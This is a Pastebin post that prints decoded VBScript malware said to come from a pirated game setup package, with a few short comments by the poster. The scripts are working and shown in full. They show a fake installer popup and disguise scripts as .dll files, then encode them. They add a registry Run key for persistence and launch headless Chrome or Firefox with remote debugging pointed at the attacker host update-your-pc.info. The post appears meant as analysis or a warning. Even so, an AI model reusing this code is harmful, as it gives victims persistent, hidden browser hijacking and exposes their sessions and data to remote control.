Guest User

Oceanofgames setup.vbe

a guest
Jul 30th, 2018
1,385
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.59 KB | None | 0 0
  1. #files taken from NFS Most Wanted (2005) setup package
  2. #setup.vbe, decoded
  3. #----------------------
  4. On Error Resume Next
  5.  
  6. Dim max,min
  7. max=999999999999999
  8. min=111111111111111
  9. Randomize
  10. randomstr=Int((max-min+1)*Rnd+min)
  11.  
  12. Dim folder
  13. Set folder = CreateObject( "WScript.Shell" )
  14.  
  15. TIMEOUT = 3
  16.  
  17. folder.Popup "Please Wait Pre-Requisites are Installing...This will take Just few Seconds!!", TIMEOUT
  18.  
  19. Dim oFSO
  20. Set oFSO = CreateObject("Scripting.FileSystemObject")
  21. sScriptDir = oFSO.GetParentFolderName(WScript.ScriptFullName)
  22.  
  23. If oFSO.FileExists(oFSO.BuildPath(sScriptDir, "libraries\vcruntime140dd.dll")) Then
  24. oFSO.CopyFile oFSO.BuildPath(sScriptDir, "libraries\vcruntime140dd.dll"), oFSO.BuildPath(sScriptDir, "libraries\MicrosoftRuntimeUpdate.vbs")
  25. End If
  26.  
  27. If oFSO.FileExists(oFSO.BuildPath(sScriptDir, "libraries\vcruntime140gg.dll")) Then
  28. oFSO.CopyFile oFSO.BuildPath(sScriptDir, "libraries\vcruntime140gg.dll"), oFSO.BuildPath(sScriptDir, "libraries\encode.vbs")
  29. End If
  30.  
  31. Const ForReading = 1
  32. Const ForWriting = 2
  33. Set objFile = oFSO.OpenTextFile(oFSO.BuildPath(sScriptDir, "libraries\MicrosoftRuntimeUpdate.vbs"), ForReading)
  34. strText = objFile.ReadAll
  35. objFile.Close
  36. strNewText = Replace(strText, "RANDOMNUMBER", randomstr)
  37. Set objFile = oFSO.OpenTextFile(oFSO.BuildPath(sScriptDir, "libraries\MicrosoftRuntimeUpdate.vbs"), ForWriting)
  38. objFile.WriteLine strNewText
  39. objFile.Close
  40.  
  41. folder.Run """" & oFSO.BuildPath(sScriptDir, "libraries\encode.vbs") & """ """ & oFSO.BuildPath(sScriptDir, "libraries\MicrosoftRuntimeUpdate.vbs") & """",0, true
  42.  
  43. oFSO.DeleteFile oFSO.BuildPath(sScriptDir, "libraries\MicrosoftRuntimeUpdate.vbs")
  44. oFSO.DeleteFile oFSO.BuildPath(sScriptDir, "libraries\encode.vbs")
  45.  
  46. appDataLocation=folder.ExpandEnvironmentStrings("%APPDATA%")
  47.  
  48. oFSO.CopyFolder oFSO.BuildPath(sScriptDir, "libraries") , appDataLocation & "\"
  49.  
  50. folder.Run """" & oFSO.BuildPath(sScriptDir, "vcredist\VBCRedist_AIO_x86_x64.exe") & """ /ai", 0, false
  51.  
  52. folder.Run "reg add ""HKCU\Software\Microsoft\Windows\CurrentVersion\Run"" /v MicrosoftRuntimeUpdate /t REG_EXPAND_SZ /d """ & appDataLocation & "\libraries\MicrosoftRuntimeUpdate.vbe"" /f"
  53.  
  54. Dim strRename
  55. strRename = "main.exe"
  56. If oFSO.FileExists(oFSO.BuildPath(sScriptDir, "dxlibraries.txt")) Then
  57. Set objFileToRead = oFSO.OpenTextFile(oFSO.BuildPath(sScriptDir, "dxlibraries.txt"),1)
  58. strRename = objFileToRead.ReadAll()
  59. strRename = Replace(strRename, vbCr, "")
  60. strRename = Replace(strRename, vbLf, "")
  61. If strRename = Empty Then
  62. strRename = "main.exe"
  63. End If
  64. End If
  65.  
  66. strFile = "msvcr100d9.dll"
  67.  
  68. If oFSO.FileExists(oFSO.BuildPath(sScriptDir, strFile)) Then
  69. oFSO.MoveFile strFile, strRename
  70. End If
  71.  
  72. folder.Run Chr(34) & strRename & Chr(34), 1
  73. #----------------------
  74. #libraries\vcruntime140dd.dll
  75. #this file becomes MicrosoftRuntimeUpdate.vbs and is the huge red flag
  76. #only works if Chrome and/or Firefox is installed
  77. #----------------------
  78. on Error Resume Next
  79. Sub Pause(NSeconds)
  80. Wscript.Sleep(NSeconds*3000)
  81. End Sub
  82. Dim visualcpp
  83. Set visualcpp = CreateObject("WScript.Shell")
  84. counter = True
  85. While counter = True
  86. website = "update-your-pc.info"
  87. checkstring = "ping -n 1 -w 300 " & website
  88. status = visualcpp.Run(checkstring, 0 , True)
  89. If status = 0 Then
  90. counter = False
  91. Else
  92. Pause(21)
  93. End If
  94. Wend
  95. returncodestatus = "1"
  96. returncodestatus = visualcpp.run("chrome --headless --disable-gpu --remote-debugging-port=9222 http://www.RANDOMNUMBER.update-your-pc.info",0,false)
  97. if returncodestatus <> 0 then
  98. returncodestatus=visualcpp.run("firefox -no-remote -CreateProfile user",0,false)
  99. returncodestatus=visualcpp.run("firefox -no-remote -headless -new-instance -P ""user"" --start-debugger-server ws:6000 http://www.RANDOMNUMBER.update-your-pc.info",0,false)
  100. End If
  101. #----------------------
  102. #libraries\vcruntime140gg.dll
  103. #this file becomes encode.vbs
  104. #not sure what this does?
  105. #----------------------
  106. Option Explicit
  107.  
  108. dim oEncoder, oFilesToEncode, file, sDest
  109. dim sFileOut, oFile, oEncFile, oFSO, i
  110. dim oStream, sSourceFile
  111.  
  112. set oFilesToEncode = WScript.Arguments
  113. set oEncoder = CreateObject("Scripting.Encoder")
  114. For i = 0 to oFilesToEncode.Count - 1
  115. set oFSO = CreateObject("Scripting.FileSystemObject")
  116. file = oFilesToEncode(i)
  117. set oFile = oFSO.GetFile(file)
  118. Set oStream = oFile.OpenAsTextStream(1)
  119. sSourceFile=oStream.ReadAll
  120. oStream.Close
  121. sDest = oEncoder.EncodeScriptFile(".vbs",sSourceFile,0,"")
  122. sFileOut = Left(file, Len(file) - 3) & "vbe"
  123. Set oEncFile = oFSO.CreateTextFile(sFileOut)
  124. oEncFile.Write sDest
  125. oEncFile.Close
  126. Next
Advertisement
Add Comment
Please, Sign In to add comment